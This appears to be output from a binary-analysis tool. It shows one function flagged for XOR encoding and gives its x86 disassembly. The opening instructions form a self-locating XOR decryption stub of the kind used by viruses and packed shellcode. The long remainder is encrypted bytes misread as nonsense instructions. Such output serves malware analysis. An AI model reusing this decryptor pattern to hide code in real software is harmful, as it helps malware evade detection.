Function at 0x805b5c
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x805b62
pop ebp
sub ebp, 6
sub ebp, 0x405b5c
jmp 0x805bc0
jmp 0x805bc9
mov eax, 0x405b5c
add eax, ebp
add eax, 0x93
mov ecx, 0x62b
mov edx, 0x39f6f8bc
xor byte [eax], dl
inc eax
dec ecx
jne 0x805be0
jmp 0x805bf3
salc
cld
aam 0xbc
lodsb al, byte [esi]
mov esp, 0x70bcd4bc
nop
mov esp, 0x43ec7c8f
sub dword [ebp + ebp*2 + 0x37ecbc8a], edi
jno 0x805c43
xor eax, 0xbcbcbc80
cmp eax, 0xbcbc447d
mov esp, 0xba0471bf
mov esp, 0x9406bcbc
mov esp, 0x5e4bbcbc
mov edi, 0xb03d3774
mov esp, 0x79bfbcbc
in al, dx
aam 1
invalid
mov ecx, 0x55bcbcbc
xchg esp, eax
mov esp, 0xe8e9bcbc
loope 0x805c87
cmp dword [esp + edi*4 + 0x2937bcbc], esi
mov al, 0xbc
mov esp, 0xac3137bc
mov esp, 0x557dbcbc
mov esi, 0x7e3fbe8d
mov eax, 0x4839b3f5
inc ebx
inc ebx
inc ebx
loope 0x805cf0
mov al, 0xbc
aaa
xor byte [eax - 0x43434348], bl
aam 1
invalid
cwde
in eax, dx
push esp
mov ecx, 0x55bcbcbc
idiv dword [esi + 0x37e9bcbc]
push eax
inc ebx
leave
mov al, 0x43
leave
mov ah, 0x54
ret 0xbcbc
test eax, 0xfdbcbcbc
push ebp
jo 0x805d3b
inc ebx
inc ebx
xchg ebp, eax
invalid
mov ah, 0x40
push cs
cmp al, 0x36
mov edx, 0xbcbd7a3d
mov esp, 0x3dbb34bc
jnp 0x805cf8
mov esp, 0xbe07bcbc
mov esp, 0x6ebebcbc
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
mov bl, 0x3f
inc ebx
inc ebx
inc ebx
mov esi, 0xb939b36e
mov esp, 0xaa36bcbc
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
mov bl, 0x3f
salc
mov esp, 0x7c8fbcbc
mov esi, 0xb939b36e
mov esp, 0xaa36bcbc
jl 0x805d2a
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
cmp dword [ecx + 0x36bcbcbc], edi
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
mov bl, 0x3f
xchg esi, eax
mov ebp, 0x6ebebcbc
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jl 0x805d4c
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jl 0x805d5b
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jl 0x805d6a
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jl 0x805d6e
cmp byte [edx + 0x37bcbcbc], bh
arpl word [edi + 0x34bf3664], dx
mov ebx, 0xbcbe07fb
mov esp, 0x43cc55bc
inc ebx
inc ebx
add al, 0xbd
mov esp, 0x6ebebcbc
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jl 0x805da6
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
mov bl, 0x3e
bound eax, qword [ebx + 0x43]
inc ebx
xchg edi, eax
jg 0x805e04
mov ebp, 0xb3bcbcbc
cmp dword [eax + 0x5bcbcbc], ecx
mov ebp, 0xbebcbcbc
outsb dx, byte [esi]
mov esp, 0xbd05bcbc
mov esp, 0x6ebebcbc
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jne 0x805dda
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
mov bl, 0x3e
bound eax, qword [ebx + 0x43]
inc ebx
ljmp 0x184f